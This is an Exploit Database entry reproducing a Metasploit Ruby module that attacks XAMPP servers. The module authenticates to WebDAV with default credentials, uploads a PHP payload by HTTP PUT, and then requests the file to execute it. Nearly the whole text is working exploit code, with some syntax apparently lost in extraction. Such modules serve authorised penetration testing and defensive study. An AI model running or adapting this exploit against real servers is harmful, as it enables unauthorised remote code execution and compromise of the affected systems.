XAMPP – WebDAV PHP Upload (Metasploit)

Exploit Database
100 阅读

作者： Metasploit

日期： 2012-01-14
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18367/

# $Id$

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::EXE

def initialize

super(

'Name'=> 'XAMPP WebDAV PHP Upload',

'Description'=> %q{

This module exploits weak WebDAV passwords on XAMPP servers.

It uses supplied credentials to upload a PHP payload and

execute it.

'Author'=> ['thelightcosine <thelightcosine[at]metasploit.com'],

'Version' => '$Revision$',

'Platform'=> 'php',

'Arch'=> ARCH_PHP,

'Targets' =>

[

[ 'Automatic', { } ],

'DefaultTarget'=> 0

)

register_options(

[

OptString.new('PATH', [ true,"The path to attempt to upload", '/webdav/']),

OptString.new('FILENAME', [ false ,"The filename to give the payload. (Leave Blank for Random)"]),

OptString.new('RUSER', [ true,"The Username to use for Authentication", 'wampp']),

OptString.new('RPASS', [ true,"The Password to use for Authentication", 'xampp'])

], self.class)

end

def exploit

uri = build_path

print_status "Uploading Payload to #{uri}"

res,c = send_digest_request_cgi({

'uri' => uri,

'method'=> 'PUT',

'data' => payload.raw,

'DigestAuthUser' => datastore['RUSER'],

'DigestAuthPassword' => datastore['RPASS']

}, 25)

unless (res.code == 201)

print_error "Failed to upload file!"

return

end

print_status "Attempting to execute Payload"

res = send_request_cgi({

'uri'=>uri,

'method' => 'GET'

}, 20)

end

def build_path

if datastore['PATH'][0,1] == '/'

uri_path = datastore['PATH'].dup

else

uri_path = '/' + datastore['PATH'].dup

end

uri_path << '/' unless uri_path.ends_with?('/')

if datastore['FILENAME']

uri_path << datastore['FILENAME']

uri_path << '.php' unless uri_path.ends_with?('.php')

else

uri_path << Rex::Text.rand_text_alphanumeric(7)

uri_path << '.php'

end

return uri_path

end